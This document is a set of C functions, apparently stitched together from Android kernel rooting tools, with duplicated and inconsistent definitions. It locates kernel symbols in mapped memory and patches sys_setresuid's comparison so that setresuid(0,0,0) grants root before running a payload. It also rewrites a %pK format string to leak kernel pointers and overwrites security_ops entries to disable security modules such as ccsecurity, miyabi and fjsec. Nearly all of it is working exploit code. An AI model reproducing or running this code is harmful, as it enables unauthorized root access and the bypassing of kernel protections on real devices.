static void* find_ccs_search_binary_handler_address_in_ccsecurity_ops(void *mmap_base_address) { unsigned long int ccsecurity_ops = 0; unsigned long int *ccs_search_binary_handlers; int i = 0; void *mapped_ccsecurity_ops; void *found_address = NULL; ccsecurity_ops = kallsyms_in_memory_lookup_name("ccsecurity_ops"); if (!ccsecurity_ops) { return NULL; } ccs_search_binary_handlers = kallsyms_in_memory_lookup_names("__ccs_search_binary_handler"); if (!ccs_search_binary_handlers) { return NULL; } mapped_ccsecurity_ops = fb_mem_convert_to_mmaped_address((void*)ccsecurity_ops, mmap_base_address); while (ccs_search_binary_handlers[i]) { found_address = memmem(mapped_ccsecurity_ops, 0x100, &ccs_search_binary_handlers[i], sizeof(ccs_search_binary_handlers[i])); if (found_address) { break; } i++; } free(ccs_search_binary_handlers); return found_address; }
static bool find_variables_in_memory(void *mem, size_t length) { kallsyms *info; printf("Search address in memory...\n"); info = kallsyms_in_memory_init(mem, length); if (info) { printf("Using kallsyms_in_memory...\n"); if (!prepare_kernel_cred) { prepare_kernel_cred = (prepare_kernel_cred_t)kallsyms_in_memory_lookup_name(info, "prepare_kernel_cred"); } if (!commit_creds) { commit_creds = (commit_creds_t)kallsyms_in_memory_lookup_name(info, "commit_creds"); } if (!remap_pfn_range) { remap_pfn_range = (void *)kallsyms_in_memory_lookup_name(info, "remap_pfn_range"); } if (!vmalloc_exec) { vmalloc_exec = (void *)kallsyms_in_memory_lookup_name(info, "vmalloc_exec"); } if (!ptmx_fops) { ptmx_fops = (void *)kallsyms_in_memory_lookup_name(info, "ptmx_fops"); if (!ptmx_fops) { find_ptmx_fops_address(info, mem, length); } } kallsyms_in_memory_free(info); if (has_all_essential_addresses()) { return true; } } setup_prepare_kernel_cred_address_in_memory(mem, length); setup_commit_creds_address_in_memory(mem, length); return has_all_essential_addresses(); }
static unsigned long int get_sys_setresuid_address_in_memory(void *kernel_memory) { if (!kallsyms_in_memory_init(kernel_memory, 0x1000000)) { return 0; } return kallsyms_in_memory_lookup_name("sys_setresuid"); }
static void * lookup_symbol_name(const char *name) { if (!kallsyms_init()) { return NULL; } return (void *)kallsyms_in_memory_lookup_name(kallsyms_info, name); }
bool has_miyabi_lsm(kallsyms *info) { struct miyabi_check { void *ptrace_access_check_address; void *ptrace_traceme_address; } miyabi_check; void *kernel_entry; unsigned long offset; void *found; security_ops = NULL; kernel_entry = convert_to_kernel_mapped_address((void *)KERNEL_BASE_ADDRESS); miyabi_check.ptrace_access_check_address = (void *)kallsyms_in_memory_lookup_name(info, "miyabi_ptrace_access_check"); miyabi_check.ptrace_traceme_address = (void *)kallsyms_in_memory_lookup_name(info, "miyabi_ptrace_traceme"); if (!miyabi_check.ptrace_access_check_address || !miyabi_check.ptrace_traceme_address) { return false; } for (offset = 0; offset < KERNEL_MEMORY_SIZE; offset = found - kernel_entry + sizeof (miyabi_check)) { void *search_address; unsigned long search_size; search_address = kernel_entry + offset; search_size = KERNEL_MEMORY_SIZE - offset; found = memmem(search_address, search_size - sizeof (miyabi_check), &miyabi_check, sizeof miyabi_check); if (!found) { return false; } if (!is_address_in_kallsyms_table(info, found)) { security_ops = found - sizeof (*security_ops) * SECURITY_OPS_START; return true; } } return false; }
bool find_variables_in_memory(void *mem, size_t length) { kallsyms *info; printf("Search address in memroy...\n"); info = kallsyms_in_memory_init(mem, length); if (info) { printf("Using kallsyms_in_memroy...\n"); if (!prepare_kernel_cred) { prepare_kernel_cred = (prepare_kernel_cred_t)kallsyms_in_memory_lookup_name(info, "prepare_kernel_cred"); } if (!commit_creds) { commit_creds = (commit_creds_t)kallsyms_in_memory_lookup_name(info, "commit_creds"); } if (!ptmx_fops) { ptmx_fops = (void *)kallsyms_in_memory_lookup_name(info, "ptmx_fops"); if (!ptmx_fops) { find_ptmx_fops_address(info, mem, length); } } //FIXME: do not free to avoid crash with fb_mem exploit //kallsyms_in_memory_free(info); if (prepare_kernel_cred && commit_creds && ptmx_fops) { return true; } } setup_prepare_kernel_cred_address_in_memory(mem, length); setup_commit_creds_address_in_memory(mem, length); return prepare_kernel_cred && commit_creds && ptmx_fops; }
static bool find_ptmx_fops_address(kallsyms *info, void *mem, size_t length) { find_ptmx_fops_hint_t hint; hint.ptmx_open_address = kallsyms_in_memory_lookup_name(info, "ptmx_open"); if (!hint.ptmx_open_address) { return false; } hint.tty_release_address = kallsyms_in_memory_lookup_name(info, "tty_release"); if (!hint.tty_release_address) { return false; } hint.tty_fasync_address = kallsyms_in_memory_lookup_name(info, "tty_fasync"); if (!hint.tty_fasync_address) { return false; } return setup_ptmx_fops_address_in_memory(mem, length, &hint); }
static bool disable_ccs_search_binary_handler(void *mmap_base_address, void *user_data) { unsigned long int search_binary_handler = 0; int *ccs_search_binary_handler; search_binary_handler = kallsyms_in_memory_lookup_name("search_binary_handler"); if (!search_binary_handler) { printf("Failed to get search_binary_handler address in kernel memory.\n"); return false; } ccs_search_binary_handler = find_ccs_search_binary_handler_address_in_ccsecurity_ops(mmap_base_address); if (!ccs_search_binary_handler) { printf("Failed to get __ccs_search_binary_handler address in kernel memory.\n"); return false; } *ccs_search_binary_handler = search_binary_handler; return true; }
int exec_exploit(struct exploit *exp, int args, char **cmd) { FILE *f; int fd, ret, m, length, index; char line[512]; char *str = NULL; char *ptr = NULL; unsigned long *paddr = NULL; unsigned long *tmp = NULL; unsigned long *restore_ptr_setresuid = NULL; unsigned long addr_sym = 0; unsigned long tmp2 = 0; unsigned long start_offset = 0; unsigned long *new_offset = NULL; bool found = false; struct restore_fmt r_fmt = { NULL, 0}; struct stat device_info; // Check if the vulnerable device exists if(stat(exp->dev, &device_info) < 0) { cleanup(exp); return 0; } // Exec pre_init function if defined if(exp->pre_init != NULL) { if(!exp->pre_init(exp)) { cleanup(exp); return 0; } } fd = open(exp->dev, O_RDWR); if(fd < 0) { cleanup(exp); return 0; } exp->fd = fd; // Exec init function ret = exp->init(exp); if(!ret) { cleanup(exp); return 0; } length = exp->length; start_offset = exp->start_offset; /* Map the required kernel physical memory */ paddr = (unsigned long *)mmap(NULL, length, PROT_READ | PROT_WRITE, MAP_SHARED, exp->fd, exp->offset); new_offset = paddr; if(start_offset) new_offset = (unsigned long *) ( ((unsigned long) new_offset) + (start_offset << 2)); tmp = new_offset; if (paddr == MAP_FAILED) { cleanup(exp); return 0; } f = fopen("/proc/kallsyms", "r"); if(!f) { cleanup(exp); return 0; } memset(line, 0, sizeof(line)); if(!(fgets(line, sizeof(line), f))) { cleanup(exp); return 0; } str = strtok(line, " "); // Check if it is already possible to read kernel symbols from kallsyms if(!strtoul(str, NULL, 16)) { if((exp->length - 12) == 0) { cleanup(exp); return 0; } // Use libkallsyms first if(kallsyms_in_memory_init(tmp, exp->length)) addr_sym = (unsigned long) kallsyms_in_memory_lookup_name("sys_setresuid"); // If libkallsyms failed try a second method if(!addr_sym) { /* * search the format string "%pK %c %s\n" in memory * and replace "%pK" by "%p" to force display kernel * symbols pointer */ for(m = 0; m < (length - 12); m += 4) { if(*(unsigned int *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && ((*(unsigned long *)(tmp+2)) & 0x0000ffff) == 0x00000a73) { r_fmt.ptr_fmt = (unsigned long *)tmp; r_fmt.ptr_fmt_value = *(unsigned long *)tmp; *(unsigned long*)tmp = 0x20207025; found = true; break; } else if( ((*(unsigned int *)tmp) & 0x0000ffff) == 0x00007025 && *(unsigned long *)(tmp+1) == 0x6325204b && *(unsigned long *)(tmp+2) == 0x0a732520) { r_fmt.ptr_fmt = (unsigned long *)(tmp+1); r_fmt.ptr_fmt_value = *(unsigned long *)(tmp+1); *(unsigned long*)(tmp+1) = 0x63252020; found = true; break; } else if(((*(tmp) & 0x00ffffff) == 0x4b7025) && *(unsigned long *)(tmp+1) == 0x20632520 && ((*((unsigned long *)(tmp+2))) & 0x00ffffff) == 0x000a7325) { r_fmt.ptr_fmt = (unsigned long *)tmp; r_fmt.ptr_fmt_value = *(unsigned long *)tmp; *(unsigned long*)tmp = (*(tmp)) & 0xff20ffff; found = true; break; } else tmp++; } if (found == false) { cleanup(exp); return 0; } fclose(f); // Now we should be able to read /proc/kallsyms addr_sym = (unsigned long) kallsyms_get_symbol_address("sys_setresuid"); } } // If kallsysms is already mapped use it else addr_sym = (unsigned long) kallsyms_get_symbol_address("sys_setresuid"); if(!addr_sym) { cleanup(exp); return 0; } if(addr_sym) { tmp2 = (unsigned long) (MEMORY_OFFSET + addr_sym) >> 2; tmp2 = tmp2 << 2; tmp2 += (unsigned long) new_offset; tmp = (unsigned long *)tmp2; for(m = 0; m < 128; m += 4) { // Search the cmp $r0, 0 check in the mapped sys_setresuid function if (*(unsigned long *)tmp == 0xe3500000) { // Patch with a cmp $r0, 1 instraction restore_ptr_setresuid = tmp; *(unsigned long *)tmp = 0xe3500001; break; } tmp++; } } // Finalize if(!exp->finalize(exp)) { cleanup(exp); return 0; } /* ask for root */ ret = setresuid(0, 0, 0); if(ret) { cleanup(exp); return 0; } // If everything was ok we are root now exec_payload(args, cmd); /* restore memory */ if(r_fmt.ptr_fmt != NULL) *r_fmt.ptr_fmt = r_fmt.ptr_fmt_value; if(restore_ptr_setresuid != NULL) *(unsigned long *)restore_ptr_setresuid = 0xe3500000; msync(paddr, length, 4); munmap(paddr, length); close(fd); if(exp->fd2) close(exp->fd2); return 1; }
static bool detect_mmc_protect(void) { typedef struct { mmc_protect_part_type_t type; const struct mmc_protect_inf *inf; int num; } check_t; check_t check[] = { { MMC_PROTECT_PART_TYPE1, check_mmc_protect_part_type1, n_mmc_protect_part_type1 }, { MMC_PROTECT_PART_TYPE2, check_mmc_protect_part_type2, n_mmc_protect_part_type2 }, { MMC_PROTECT_PART_TYPE3, check_mmc_protect_part_type3, n_mmc_protect_part_type3 }, }; kallsyms *info; unsigned long int addr; const struct mmc_protect_inf *p; bool ret = false; int i; info = kallsyms_in_memory_init((void *)BACKDOOR_MMAP_ADDRESS, BACKDOOR_MMAP_SIZE); if (info == NULL) { printf("kallsyms_in_memory_init(): failed\n"); return false; } addr = kallsyms_in_memory_lookup_name(info, "mmc_protect_part"); if (!addr) { goto error_exit; } printf("Found: mmc_protect_part = 0x%08x\n", addr); p = backdoor_convert_to_mmaped_address((void *)addr); if (p[0].partition == 0) { p++; } for (i = 0; i < ARRAY_SIZE(check); i++) { int n; for (n = 0; n < check[i].num; n++) { if (p[n].partition != check[i].inf[n].partition) { break; } if (p[n].protect & ~(MMC_PROTECT_READ | MMC_PROTECT_WRITE)) { break; } } if (n == check[i].num) { printf("Detect partition type: %d\n", check[i].type); for (n = 0; n < check[i].num; n++) { printf("#%d: partiton %2d: protect %d\n", n, p[n].partition, p[n].protect); } device_set_symbol_address(DEVICE_SYMBOL(mmc_protect_part), addr); device_set_symbol_address(DEVICE_SYMBOL(mmc_protect.part_type), check[i].type); ret = true; break; } } error_exit: kallsyms_in_memory_free(info); return ret; }
static bool unlock_lsm(kallsyms *info, const char *symbol_prefix) { int count = 0; int symbol_prefix_len; int i; if (security_ops == NULL) { printf("security_ops: not found\n"); goto exit_failed; } symbol_prefix_len = strlen(symbol_prefix); for (i = SECURITY_OPS_START; i < SECURITY_OPS_END; i++) { if (security_ops[i]) { const char *name = kallsyms_in_memory_lookup_address(info, (unsigned long)security_ops[i]); if (!name) { break; } printf("security_ops[%d] = 0x%08x <%s>\n", i, security_ops[i], name); if (strncmp(name, symbol_prefix, symbol_prefix_len) == 0) { char fix_name[256]; void *fix_func = NULL; if (strlen(name + symbol_prefix_len) + sizeof (DEFAULT_CAP_PREFIX) < sizeof (fix_name)) { strcpy(fix_name, DEFAULT_CAP_PREFIX); strcat(fix_name, name + symbol_prefix_len); fix_func = (void *)kallsyms_in_memory_lookup_name(info, fix_name); } if (fix_func == NULL) { strcpy(fix_name, DEFAULT_CAP_FUNCTION); fix_func = (void *)kallsyms_in_memory_lookup_name(info, fix_name); } if (fix_func == NULL) { printf("fix_func for <%s>: not found\n", name); goto exit_failed; } printf("%08x: <%s>: fixed <%s>\n", convert_to_kernel_virtual_address(&security_ops[i]), name, fix_name); security_ops[i] = (unsigned long int)fix_func; count++; } } } printf(" %d functions are fixed.\n", count); security_ops = NULL; return count > 0; exit_failed: security_ops = NULL; return false; }
bool has_reset_security_ops(kallsyms *info) { return kallsyms_in_memory_lookup_name(info, "reset_security_ops") != 0; }
bool run_reset_security_ops(kallsyms *info) { unsigned long reset_security_ops_address = kallsyms_in_memory_lookup_name(info, "reset_security_ops"); return ptmx_run_in_kernel_mode(call_reset_security_ops, (void *)reset_security_ops_address); }
bool unlock_mount(void) { unsigned long int *security_ops; unsigned long int fix_func; unsigned long int check_mount_func; unsigned long int check_umount_func; kallsyms *info; int count = 0; int i; security_ops = get_fjsec_security_ops(); if (security_ops == NULL) { printf("security_ops: not found\n"); return false; } printf("security_ops = %p\n", security_ops); security_ops = backdoor_convert_to_mmaped_address(security_ops); info = kallsyms_in_memory_init((void *)BACKDOOR_MMAP_ADDRESS, BACKDOOR_MMAP_SIZE); if (info == NULL) { printf("kallsyms_in_memory_init(): failed\n"); return false; } fix_func = kallsyms_in_memory_lookup_name(info, DEFAULT_CAP_FUNCTION); if (!fix_func) { printf("fix_func <%s>: not found\n", DEFAULT_CAP_FUNCTION); return false; } check_mount_func = kallsyms_in_memory_lookup_name(info, CHECK_MOUNT_FUNCTION); if (!check_mount_func) { printf("check_mount_func <%s>: not found\n", CHECK_MOUNT_FUNCTION); } check_umount_func = kallsyms_in_memory_lookup_name(info, CHECK_UMOUNT_FUNCTION); if (!check_umount_func) { printf("check_umount_func <%s>: not found\n", CHECK_UMOUNT_FUNCTION); } for (i = SECURITY_OPS_OFFSET; i < SECURITY_OPS_OFFSET + NUM_SECURITY_OPS; i++) { if (security_ops[i]) { const char *name = kallsyms_in_memory_lookup_address(info, security_ops[i]); if (!name) { break; } if ((check_mount_func && security_ops[i] == check_mount_func) || (check_umount_func && security_ops[i] == check_umount_func)) { security_ops[i] = (unsigned long int)fix_func; count++; } } } printf(" %d functions are fixed.\n", count); kallsyms_in_memory_free(info); return count > 0; }